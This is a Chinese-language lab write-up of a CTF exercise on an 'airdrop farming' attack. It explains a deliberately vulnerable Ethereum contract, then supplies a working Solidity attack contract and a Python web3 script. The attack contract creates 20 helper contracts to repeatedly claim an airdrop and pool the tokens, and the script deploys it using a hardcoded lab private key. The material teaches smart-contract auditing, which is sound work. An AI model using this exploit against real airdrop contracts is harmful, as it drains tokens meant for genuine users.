某60区块链安全之薅羊毛攻击实战一学习记录

区块链安全

文章目录


薅羊毛攻击实战一

实验目的

学会使用python3的web3模块

学会分析以太坊智能合约薅羊毛攻击漏洞

找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。

实验内容

合约中内置了空投函数和潜在的薅羊毛攻击问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可

使用python3的web3模块远程利用漏洞并获取flag

实验地址为nc ip 10009

薅羊毛攻击实战一 实验步骤

获取合约地址和合约源代码

nc ip 10009连接到题目,输入1,获取部署合约的game account及token

打开http://ip,输入上述分配的game account,点击Request获取eth

ctrl+shift+d

退出

nc ip 10009连接到题目,输入2,获取部署合约的地址及new token

nc ip 10009连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码

分析合约源代码漏洞

题目要求将合约中的flag变量设置为true

分析代码逻辑,需要满足balanceOf[msg.sender] >= 2000才能设置flag为true

题目中有空投函数,每次空投可以使 balance 增加 100,并且也有转账函数,可以将 balance 转给其他用户

那么我们可以使用薅羊毛的攻击方式,创建 20 个临时合约来调用空投函数,并转账给主合约来使得 balanceOf[msg.sender] >= 2000

EXP利用

编写攻击合约attack.sol,将下述ETH9地址替换成自己题目合约的地址,主要包括三个功能:middle_attack合约用于申领空投,并转账给主攻击合约attack;attack合约通过new函数不断申请创建middle_attack合约,直至满足balanceOf[attack] >= 2000;当balanceOf[attack] >= 2000时,调用attack合约的get_flag函数,在get_flag函数中调用题目合约的payforflag函数将flag设置为true

bash 复制代码
pragma solidity ^0.4.23;

contract attack{
    function attack_airdrop() public {
        for(uint i = 0; i < 20; i++){
            new middle_attack(address(this));
        }
    }

    function get_flag() public {
        ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
        target.payforflag();
    }
}

contract middle_attack{
    constructor(address addr) public {
        ETH9 target = ETH9(0x05653f1dE1512EFC31eb6dd835947AF697fA7be0);
        target.gift();
        target.transfer(addr,100);
    }
}

编写python3自动化脚本,将上述攻击合约部署,然后按照上述步骤分别执行即可

bash 复制代码
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0x05653f1dE1512EFC31eb6dd835947AF697fA7be0"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:attack']

# deploy attack.sol
txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)

# call attack_airdrop() in attack.sol
data = Web3.keccak(text='attack_airdrop()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call attack_airdrop() success")

time.sleep(5)

# call get_flag() in attack.sol
data = Web3.keccak(text='get_flag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
    print("call get_flag() success")

执行exp

nc ip 10009连接到题目,输入3,输入之前的new token,获取flag

相关推荐
运维Z叔6 分钟前
云安全 | AWS S3存储桶安全设计缺陷分析
android·网络·网络协议·tcp/ip·安全·云计算·aws
WSY88x21 分钟前
重塑支付安全:区块链技术引领下的积分系统革新
安全·区块链
kinlon.liu1 小时前
零信任安全架构--持续验证
java·安全·安全架构·mfa·持续验证
李小星同志1 小时前
高级算法设计与分析 学习笔记6 B树
笔记·学习
霜晨月c1 小时前
MFC 使用细节
笔记·学习·mfc
小江湖19941 小时前
元数据保护者,Caesium压缩不丢重要信息
运维·学习·软件需求·改行学it
dot.Net安全矩阵2 小时前
.NET内网实战:通过命令行解密Web.config
前端·学习·安全·web安全·矩阵·.net
sec0nd_2 小时前
1网络安全的基本概念
网络·安全·web安全
微刻时光2 小时前
Redis集群知识及实战
数据库·redis·笔记·学习·程序人生·缓存
AORO_BEIDOU2 小时前
防爆手机+鸿蒙系统,遨游通讯筑牢工业安全基石
5g·安全·智能手机·信息与通信·harmonyos